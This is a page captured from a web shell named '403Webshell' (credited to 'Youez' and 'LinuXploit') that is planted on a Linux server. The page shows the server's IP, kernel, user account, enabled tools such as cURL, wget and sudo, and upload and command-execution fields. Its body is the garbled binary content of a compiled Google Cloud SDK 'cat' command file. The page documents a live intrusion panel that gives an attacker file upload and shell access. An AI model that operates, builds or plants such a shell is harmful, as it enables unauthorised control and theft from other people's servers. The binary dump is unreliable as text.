403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/google-cloud-sdk/lib/surface/storage/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/google-cloud-sdk/lib/surface/storage/__pycache__/cat.cpython-311.pyc
�

�������dZddlmZddlmZddlmZddlZddlmZddlm	Z	ddlm
Z
dd	lmZdd
lm
Z
ddlmZddlmZdd
lmZddlmZddlmZd�Ze
jGd�de
j����ZdS)zDImplementation of Unix-like cat command for cloud storage providers.�)�absolute_import)�division)�unicode_literalsN)�	cloud_api)�arg_parsers)�base)�encryption_util)�errors)�flags)�name_expansion)�storage_url)�
task_executor)�cat_task_iteratorc�D�|dkrtjdd���S|�d��\}}}|s&tjdt|��zd���S|s#tjt|��d���Stj�|��S)z�Creates Range object out of given string value.

  Args:
    string_value (str): The range the user entered.

  Returns:
    Range(int, int|None): The Range object from the given string value.
  �-rN)�start�end���)r�Range�	partition�int�Parse)�string_value�range_start�_�	range_ends    �lib/surface/storage/cat.py�
_range_parserr#s����S�����1�$�/�/�/�/�*�4�4�S�9�9��+�q�)�	�B���2��I���#6�D�A�A�A�A�	�?���3�{�#3�#3��>�>�>�>�	�	�	 �	 ��	.�	.�.�c�8�eZdZdZddd�Zed���Zd�ZdS)�Catz3Outputs the contents of one or more URLs to stdout.a"
      The cat command outputs the contents of one or more URLs to stdout. While
      the cat command does not compute a checksum, it is otherwise equivalent to
      doing:

        $ {parent_command} cp url... -

      (The final '-' causes gcloud to stream the output to stdout.)
      a�

      The following command writes all text files in a bucket to stdout:

        $ {command} gs://bucket/*.txt

      The following command outputs a short header describing file.txt, along
      with its contents:

        $ {command} -d gs://my-bucket/file.txt

      The following command outputs bytes 256-939 of file.txt:

        $ {command} -r 256-939 gs://my-bucket/file.txt

      The following command outputs the last 5 bytes of file.txt:

        $ {command} -r -5 gs://my-bucket/file.txt

      )�DESCRIPTION�EXAMPLESc��|�ddd���|�dddd�	��|�d
dttjd���
��t	j|��t	j|d���dS)N�url�+zThe url of objects to list.)�nargs�helpz-dz
--display-url�
store_truez%Prints the header before each object.)�actionr(z-rz--rangea�            Causes gcloud storage to output just the specified byte range of
            the object. In a case where "start" = 'x', and "end" = 'y',
            ranges take the form:
            `x-y` (e.g., `-r 256-5939`), `x-` (e.g., `-r 256-`),
            `-y` (e.g., `-r -5`)

            When offsets start at 0, x-y means to return bytes x
            through y (inclusive), x- means to return bytes x through
            the end of the object, and -y changes the role of y.
            If -y is present, then it returns the last y bytes of the object.

            If the bytes are out of range of the object,
            then nothing is printed)�typer(T)�command_only_reads_data)�add_argumentr�textwrap�dedentr�add_additional_headers_flag�add_encryption_flags)�parsers r�ArgszCat.Args^s���
����S�/L��M�M�M�
������
4�	�6�6�6�
�����
�
�_�
'�
(�
(�	�)�)�)�&
�%�f�-�-�-�	��v�t�D�D�D�D�D�Drc
��tj|��tj|��|jr{g}|jD]q}tj|��}t|t
j��s,tj
d�|j�����|�
|���rtj|jt jjtjj���}t+j||jt1|jdd��t1|jdd�����}t5j|���|_dS)Nz@cat only works for valid cloud URLs. {} is an invalid cloud URL.)�fields_scope�recursion_requestedrrr)�
start_byte�end_byte)�
task_iterator)r�RequireProjectIDr	�initialize_key_storer%r
�storage_url_from_string�
isinstance�CloudUrlr
�InvalidUrlError�format�
url_string�appendr�NameExpansionIteratorr�FieldsScope�NO_ACL�RecursionSetting�NOr�get_cat_task_iterator�display_url�getattr�ranger�
execute_tasks�	exit_code)�self�args�storage_urlsrA�
url_object�source_expansion_iteratorr9s       r�RunzCat.Run|sM����$�����(��.�.�.��x�(��l���(�(�*� �8��D�D�
��*�k�&:�;�;�	C��&�(F�FL�f�+5�+@�GB�GB�C�C�C�	���J�'�'�'�'�
!/� D����*�1�*�;�>�!@�!@�!@��
&�;�!����4�:�w��2�2����U�D�1�1�	3�3�3�M�
#�0�}�M�M�M�D�N�N�NrN)�__name__�
__module__�__qualname__�__doc__�
detailed_help�staticmethodr3rS�rrr!r!8sc������;�;�
�
� � �-�D�E�E��<�E�:N�N�N�N�Nrr!)rW�
__future__rrrr.�googlecloudsdk.api_lib.storager�googlecloudsdk.callioperr�"googlecloudsdk.command_lib.storager	r
rrr
�(googlecloudsdk.command_lib.storage.tasksr�,googlecloudsdk.command_lib.storage.tasks.catrr�UniverseCompatible�Commandr!rZrr�<module>rcsj��K�J�&�&�&�&�&�&�������'�'�'�'�'�'�����4�4�4�4�4�4�/�/�/�/�/�/�(�(�(�(�(�(�>�>�>�>�>�>�5�5�5�5�5�5�4�4�4�4�4�4�=�=�=�=�=�=�:�:�:�:�:�:�B�B�B�B�B�B�J�J�J�J�J�J�/�/�/�*��_N�_N�_N�_N�_N�$�,�_N�_N���_N�_N�_Nr

Youez - 2016 - github.com/yon3zu
LinuXploit